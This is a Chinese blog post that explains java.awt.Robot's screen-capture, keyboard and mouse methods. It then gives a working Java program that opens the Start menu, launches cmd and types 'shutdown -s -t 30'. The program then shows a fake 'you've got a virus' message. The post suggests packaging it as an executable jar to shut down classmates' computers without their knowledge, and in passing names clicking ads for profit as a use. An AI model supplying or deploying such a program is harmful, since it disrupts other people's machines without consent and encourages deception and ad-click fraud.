1. 程式人生 > >用java robot 實現關閉他人計算機(僅限於安裝了java虛擬機器的使用者)

用java robot 實現關閉他人計算機(僅限於安裝了java虛擬機器的使用者)

很多時候,我們希望能夠實現自動測試,自動演示功能,或者是其它的一些滑鼠和鍵盤控制的應用(比如幫人點選廣告賺利潤等)。出於這樣的目的,自從JDK1.3開始,它就為我們提供了一個用來產生本機輸入事件的機器人類 — java.awt.Robot.

下面我來詳細介紹Robot的功能及應用示例:

一.robot的主要功能

  1. BufferedImage createScreenCapture(Rectangle screenRect) 說明:該方法提供類似於鍵盤上的PrintScreen鍵的功能,將指定矩形區域內的螢幕畫素copy下來產生一個BufferedImage。 說明:該方法提供類似於鍵盤上的PrintScreen鍵的功能,將指定矩形區域內的螢幕畫素copy下來產生一個BufferedImage。 應用:我們可以將這個方法用在圖形程式中,或是用它來實現遠端螢幕傳輸,可做成遠端電腦監控程式等.應用:我們可以將這個方法用在圖形程式中,或是用它來實現遠端螢幕傳輸,可做成遠端電腦監控程式等.

  2. void delay(int ms) 說明:用來將當前的程式(thread)休眠(sleep)若干毫秒(ms)。 應用:可用來控制程式的延時。這個一般是必須的,因為你在兩次間隔操作中肯定有延時。

  3. Color getPixelColor(int x, int y) 說明:取得給定螢幕座標畫素位置的顏色值。 應用:就是取顏色RGB值,就不多說了。

  4. void keyPress(int keycode)   void keyRelease(int keycode)   說明:這兩個方法的作用一看便知,用來產生指定鍵的按鍵按下與擡起動作,相當於Win32 API的keyb_event函式,即模擬鍵盤操作咯,具體keycode值就是KeyEvent.VK_C、KeyEvent.VK_D、KeyEvent.VK_CONTROL什麼的,具體應用時直接看Eclipse提示就知道了。 應用:可用於程式的自動演示、測試等,非常有用。 應用:可用於程式的自動演示、測試等,非常有用。

  5. void mouseMove(int x, int y) 說明:將滑鼠游標移動到指定的螢幕座標。 應用:可用於程式的自動演示、測試等,配合其他的方法使用,是不可缺少的。

  6. void mousePress(int buttons)   void mouseRelease(int buttons)   void mouseWheel(int wheelAmt) 說明:上面的三種方法,產生指定滑鼠按鈕的按下,擡起,及滾輪動作,就是模擬滑鼠操作咯,具體buttons的值有InputEvent.BUTTON1_MASK(滑鼠左鍵)、InputEvent.BUTTON3_MASK(滑鼠右鍵,如果是雙鍵滑鼠,請改用InputEvent.BUTTON2_MASK)等。 void mouseRelease(int buttons)   void mouseWheel(int wheelAmt) 說明:上面的三種方法,產生指定滑鼠按鈕的按下,擡起,及滾輪動作,就是模擬滑鼠操作咯,具體buttons的值有InputEvent.BUTTON1_MASK(滑鼠左鍵)、InputEvent.BUTTON3_MASK(滑鼠右鍵,如果是雙鍵滑鼠,請改用InputEvent.BUTTON2_MASK)等。

用dos命令讓計算機關機

import java.awt.*;  
import java.awt.event.*;  
import javax.swing.JOptionPane;  
  
public class SimpleTest {  
      
    public static void main(String[] args) throws Exception {  
  
        final Robot rb = new Robot();  
        // 設定開始選單的大概位置  
        int x = 40;  
        int y = Toolkit.getDefaultToolkit().getScreenSize().height - 10; // 滑鼠移動到開始選單,  
        rb.mouseMove(x, y);  
        rb.delay(500);  
  
        // 單擊開始選單  
        Common.clickLMouse(rb, x, y, 500); 
          
        rb.delay(1000);  
  
        
        int ks[]={ KeyEvent.VK_C, KeyEvent.VK_M,  
                KeyEvent.VK_D,KeyEvent.VK_ENTER};  
        Common.pressKeys(rb,ks,500); 
        
        
        
        rb.mouseMove(400, 400);  
        rb.delay(500);
        
        ks = new int[] {KeyEvent.VK_D, KeyEvent.VK_I, KeyEvent.VK_R,KeyEvent.VK_ENTER};  
        Common.pressKeys(rb, ks, 500);  
        rb.delay(1000); 
        
        ks = new int[] {KeyEvent.VK_C, KeyEvent.VK_L, KeyEvent.VK_S,KeyEvent.VK_ENTER};  
        Common.pressKeys(rb, ks, 500);  
        rb.delay(1000);  
  
        // 執行EXIT命令exit enter  
        ks = new int[] { KeyEvent.VK_S, KeyEvent.VK_H, KeyEvent.VK_U,  
                KeyEvent.VK_T,KeyEvent.VK_D,KeyEvent.VK_O,KeyEvent.VK_W,KeyEvent.VK_N,KeyEvent.VK_SPACE,
                KeyEvent.VK_MINUS,
                KeyEvent.VK_S,KeyEvent.VK_SPACE,KeyEvent.VK_MINUS,KeyEvent.VK_T,KeyEvent.VK_SPACE,KeyEvent.VK_3,KeyEvent.VK_0
                ,KeyEvent.VK_ENTER };  
        Common.pressKeys(rb, ks, 500);  
        rb.delay(1000);  
        //關機         
        // 右鍵測試  
        x = Toolkit.getDefaultToolkit().getScreenSize().width - 50;  
        Common.clickRMouse(rb, x, y, 500);  
        new Thread() {  
            public void run() {  
                rb.delay(1000); // 回車  
                rb.keyPress(KeyEvent.VK_ENTER);  
                rb.keyRelease(KeyEvent.VK_ENTER);  
            }  
        }.start();  
  
        JOptionPane.showMessageDialog(null, "恭喜你中病毒了!");  
    }  
}  

如果想讓你的同學關機,可以打包成可執行的jar包